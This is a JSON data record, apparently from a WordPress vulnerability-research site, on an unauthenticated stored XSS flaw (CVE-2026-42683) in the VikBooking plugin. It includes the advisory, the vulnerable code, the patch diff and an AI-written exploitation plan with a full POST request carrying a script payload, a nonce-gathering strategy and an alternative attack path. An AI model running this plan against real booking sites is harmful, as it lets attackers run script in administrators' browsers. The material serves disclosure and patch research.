[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fEFPdPDmXqcRH1o9QBHUXquDMXJx5JmBM6BKzDftLpjs":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-42683","vikbooking-hotel-booking-engine-pms-unauthenticated-stored-cross-site-scripting","VikBooking Hotel Booking Engine & PMS \u003C= 1.8.8 - Unauthenticated Stored Cross-Site Scripting","The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","vikbooking",null,"\u003C=1.8.8","1.8.9","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-05-20 00:00:00","2026-05-26 19:30:59",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F310b9365-2c94-42b2-92ca-ab9a5eab3bfe?source=api-prod",7,[22,23,24,25,26,27,28,29],"admin\u002Fcontroller.php","admin\u002Fcontrollers\u002Fpayschedules.php","admin\u002Fcontrollers\u002Fquote.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fpayschedules.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php","admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Freservation.php","admin\u002Fhelpers\u002Fsrc\u002Ftaxonomy\u002Fsummary.php","admin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-42683 (VikBooking Hotel Booking Engine & PMS)\n\n## 1. Vulnerability Summary\nThe **VikBooking Hotel Booking Engine & PMS** plugin (versions \u003C= 1.8.8) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin's Quotation system accepts user-supplied input (specifically customer details and message content) via unauthenticated AJAX endpoints and stores it in the database without sufficient sanitization. When an administrative user views the \"Quotations\" or \"Booking Details\" page in the WordPress dashboard, these stored scripts are executed in the admin's browser context.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `vbo_ajax_quote` (inferred from controller name `quote` and common VikBooking AJAX routing) or `vikbooking_ajax` with `controller=quote` and `task=save`.\n- **Vulnerable Parameters:** \n    - `quote[customer][first_name]`\n    - `quote[customer][last_name]`\n    - `quote[message][subject]`\n    - `quote[message][content]`\n- **Authentication:** None (Privileges Required: None).\n- **Preconditions:** The \"Quotation\" feature must be active (default in most configurations). A valid Room ID and Rate Plan ID are required to pass the `solutions` validation in `admin\u002Fcontrollers\u002Fquote.php`.\n\n## 3. Code Flow\n1. **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` targeting the `quote` controller and `save` task.\n2. **Controller Logic (`admin\u002Fcontrollers\u002Fquote.php`):**\n    - The `save()` method is called.\n    - It retrieves the `quote` array from `$app->input->get('quote', [], 'array')`.\n    - It validates \"solutions\" (check-in, check-out, room ID, etc.).\n    - It calls `$customerModel->save($customerInfo)` to store the customer.\n    - It calls `$quoteModel->save([...])` using the data from `$quote['message']`.\n3. **Model Storage (`admin\u002Fhelpers\u002Fsrc\u002Fmodel\u002Fquote.php`):**\n    - The `preflight()` method is called before saving. It sets `created_by` (defaults to 'User' for unauthenticated) and captures the attacker's IP.\n    - The data is inserted into the `#__vikbooking_quotations` table using `$this->tableName`.\n4. **Sink (Admin View):**\n    - When an admin views the dashboard or the Quotations list, the model's `loadBookingRecords()` fetches the data.\n    - The `subject`, `message`, and `first_name` fields are rendered in the admin UI. Based on the vulnerability report, these are not escaped using `esc_html()` or similar functions at the point of output.\n\n## 4. Nonce Acquisition Strategy\nThe `save()` method in `admin\u002Fcontrollers\u002Fquote.php` performs a CSRF check using `JSession::checkToken()`. In VikBooking's WordPress implementation, this token is typically provided to the front-end to allow unauthenticated users to submit quotes.\n\n**Strategy:**\n1. **Identify Entry Point:** The \"Request a Quote\" functionality is usually embedded via the `[vikbooking_room]` shortcode or reachable via the search results.\n2. **Setup:** Create a dummy room to ensure the script and nonce are enqueued.\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_title=\"Booking\" --post_content='[vikbooking_search]'\n   ```\n3. **Acquisition:**\n   - Navigate to the page using `browser_navigate`.\n   - The nonce is typically stored in a global JavaScript object named `vbo_params` or `vbo_quote_params`.\n   - **JavaScript Variable:** `window.vbo_params?.vbo_token` or a hidden input field named `vbo_token`.\n   - **Action String:** The token check in `JSession::checkToken()` validates against the session-based token generated for the unauthenticated user.\n\n## 5. Exploitation Strategy\n1. **Prepare Payload:** Use a standard XSS payload targeting `quote[message][subject]`.\n   - Payload: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n2. **Identify Required IDs:** Query the database for an existing Room ID and Rate Plan ID.\n   - Room ID: `SELECT id FROM wp_vikbooking_rooms LIMIT 1;`\n   - Rate Plan ID: `SELECT id FROM wp_vikbooking_prices LIMIT 1;`\n3. **Send Exploit Request:** Use `http_request` to submit the quote.\n   - **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=vikbooking_ajax&controller=quote&task=save`\n   - **Method:** POST\n   - **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n   - **Body:**\n     ```\n     vbo_token=[EXTRACTED_NONCE]&quote[customer][first_name]=Attacker&quote[customer][email]=attacker@example.com&quote[message][subject]=\u003Cscript>alert(1)\u003C\u002Fscript>&quote[message][content]=Help&quote[solutions][0][checkin]=2025-12-01&quote[solutions][0][checkout]=2025-12-05&quote[solutions][0][rooms][0][id]=[ROOM_ID]&quote[solutions][0][rooms][0][id_price]=[RATE_ID]&quote[solutions][0][rooms][0][adults]=1&quote[solutions][0][rooms][0][room_cost]=100\n     ```\n\n## 6. Test Data Setup\n1. **Ensure Plugin is Active:** `wp plugin activate vikbooking`\n2. **Create Required Entities:**\n   - Create a room: `wp vikbooking room create --name=\"Luxury Suite\" --units=5` (if CLI supports it) or via SQL:\n     ```sql\n     INSERT INTO `wp_vikbooking_rooms` (`name`, `units`, `avail`) VALUES ('Test Room', 1, 1);\n     SET @room_id = LAST_INSERT_ID();\n     INSERT INTO `wp_vikbooking_prices` (`idroom`, `name`, `price`) VALUES (@room_id, 'Standard Rate', 100);\n     ```\n3. **Create Page:** Create the page as described in Section 4 to trigger script localization.\n\n## 7. Expected Results\n- The AJAX request should return a `200 OK` with a JSON object containing the `id` of the newly created quotation.\n- The `wp_vikbooking_quotations` table should contain a row where the `subject` column is exactly `\u003Cscript>alert(1)\u003C\u002Fscript>`.\n- When an admin navigates to `\u002Fwp-admin\u002Fadmin.php?page=vikbooking&view=quotations`, the browser should trigger the alert.\n\n## 8. Verification Steps\n1. **Check Database:**\n   ```bash\n   wp db query \"SELECT subject FROM wp_vikbooking_quotations WHERE first_name='Attacker'\"\n   ```\n2. **Confirm Unsanitized Storage:** Verify that the output of the query shows the raw `\u003Cscript>` tag, confirming the lack of sanitization in the `VBOModelQuote::save` path.\n\n## 9. Alternative Approaches\nIf the `quote` controller is not reachable or requires higher privileges, target the `add_fest` method in `VikBookingController` (`admin\u002Fcontroller.php`):\n- **Task:** `add_fest`\n- **Parameters:** `name`, `descr`, `dt`.\n- **Note:** This method is inside `VikBookingController` and is triggered via `action=vikbooking_ajax&task=add_fest`. If the main controller lacks the `checkToken` check (not visible in the provided snippet), it may be even easier to exploit.","The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to unauthenticated stored cross-site scripting (XSS) via the Quotation system. Attackers can inject malicious scripts into fields like the message subject or customer name through an unauthenticated AJAX endpoint, which are then executed when an administrative user views the quotations or booking details in the dashboard.","\u002F\u002F admin\u002Fcontrollers\u002Fquote.php (lines 135-207)\npublic function save()\n{\n    $app = JFactory::getApplication();\n    \u002F\u002F ...\n    $quote = $app->input->get('quote', [], 'array');\n    \u002F\u002F ...\n    $quoteId = $quoteModel->save([\n        'name'           => ($quote['name'] ?? '') ?: date('Y-m-d H:i:s'),\n        'subject'        => $quote['message']['subject'] ?? null,\n        'message'        => $quote['message']['content'] ?? null,\n        'notes'          => $quote['message']['notes'] ?? null,\n        \u002F\u002F ...\n        'first_name'     => $quote['customer']['first_name'],\n        \u002F\u002F ...\n    ]);\n\n---\n\n\u002F\u002F admin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php (line 684)\n\u003Cblockquote class=\"vbo-booking-admin-notes\">\u003C?php echo nl2br($details['adminnotes']); ?>\u003C\u002Fblockquote>\n\n---\n\n\u002F\u002F admin\u002Fcontroller.php (line 11173)\n$cstring_search .= '\u003Cdiv class=\"' . $selector . '\" data-custid=\"'.$v['id'].'\" data-email=\"'.$v['email'].'\" data-phone=\"'.htmlspecialchars($v['phone']).'\" data-country=\"'.$v['country'].'\" data-pin=\"'.$v['pin'].'\" data-firstname=\"'.htmlspecialchars($v['first_name']).'\" data-lastname=\"'.htmlspecialchars($v['last_name']).'\">' . \"\\n\";","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.8\u002Fadmin\u002Fcontroller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fcontroller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.8\u002Fadmin\u002Fcontroller.php\t2026-04-20 22:09:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fcontroller.php\t2026-04-28 16:07:36.000000000 +0000\n@@ -11170,7 +11205,7 @@\n \t\t$cust_old_fields = array();\n \t\t$cstring_search = '\u003Cdiv class=\"vbo-custsearchres-inner\">' . \"\\n\";\n \t\tforeach ($customers as $k => $v) {\n-\t\t\t$cstring_search .= '\u003Cdiv class=\"' . $selector . '\" data-custid=\"'.$v['id'].'\" data-email=\"'.$v['email'].'\" data-phone=\"'.htmlspecialchars($v['phone']).'\" data-country=\"'.$v['country'].'\" data-pin=\"'.$v['pin'].'\" data-firstname=\"'.htmlspecialchars($v['first_name']).'\" data-lastname=\"'.htmlspecialchars($v['last_name']).'\">' . \"\\n\";\n+\t\t\t$cstring_search .= '\u003Cdiv class=\"' . $selector . '\" data-custid=\"' . (int) $v['id'] . '\" data-email=\"' . htmlspecialchars($v['email']) . '\" data-phone=\"' . htmlspecialchars($v['phone']) . '\" data-country=\"' . htmlspecialchars($v['country']) . '\" data-pin=\"' . htmlspecialchars($v['pin']) . '\" data-firstname=\"' . htmlspecialchars($v['first_name']) . '\" data-lastname=\"' . htmlspecialchars($v['last_name']) . '\">' . \"\\n\";\n \t\t\t$cstring_search .= '\u003Cspan class=\"vbo-custsearchres-cflag\">';\n \t\t\tif (!empty($v['pic'])) {\n \t\t\t\t$cstring_search .= '\u003Cimg src=\"' . (strpos($v['pic'], 'http') === 0 ? $v['pic'] : VBO_SITE_URI . 'resources\u002Fuploads\u002F' . $v['pic']) . '\" class=\"vbo-country-flag vbo-customer-avatar-flag\"\u002F>' . \"\\n\";\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.8\u002Fadmin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.8\u002Fadmin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php\t2026-04-20 22:09:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvikbooking\u002F1.8.9\u002Fadmin\u002Fhelpers\u002Fwidgets\u002Fbooking_details.php\t2026-04-28 16:07:36.000000000 +0000\n@@ -681,7 +681,7 @@\n \t\t\t\t\t\t\u003Cdiv class=\"vbo-params-block\">\n \t\t\t\t\t\t\t\u003Cdiv class=\"vbo-param-container\">\n \t\t\t\t\t\t\t\t\u003Cdiv class=\"vbo-param-setting\">\n-\t\t\t\t\t\t\t\t\t\u003Cblockquote class=\"vbo-booking-admin-notes\">\u003C?php echo nl2br($details['adminnotes']); ?>\u003C\u002Fblockquote>\n+\t\t\t\t\t\t\t\t\t\u003Cblockquote class=\"vbo-booking-admin-notes\">\u003C?php echo nl2br(htmlspecialchars($details['adminnotes'])); ?>\u003C\u002Fblockquote>\n \t\t\t\t\t\t\t\t\u003C\u002Fdiv>\n \t\t\t\t\t\t\t\u003C\u002Fdiv>\n \t\t\t\t\t\t\u003C\u002Fdiv>","To exploit this vulnerability, an unauthenticated attacker first obtains a valid session nonce (vbo_token) by visiting a public-facing room or search page where VikBooking scripts are localized. The attacker then identifies a valid Room ID and Rate Plan ID, which are necessary for the quotation logic to pass initial validation. Using these parameters, the attacker sends a POST request to the `\u002Fwp-admin\u002Fadmin-ajax.php?action=vikbooking_ajax&controller=quote&task=save` endpoint. The payload, containing an arbitrary script (e.g., \u003Cscript>alert(1)\u003C\u002Fscript>), is placed within parameters such as `quote[message][subject]` or `quote[customer][first_name]`. Upon successful submission, the script is stored in the database. The XSS triggers whenever an administrator views the Quotations list or Booking Details page in the WordPress admin panel, as the plugin fails to escape these values before rendering them in the HTML output.","gemini-3-flash-preview","2026-06-04 22:39:39","2026-06-04 22:40:55",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.8.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags\u002F1.8.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvikbooking.1.8.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags\u002F1.8.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvikbooking.1.8.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvikbooking\u002Ftags"]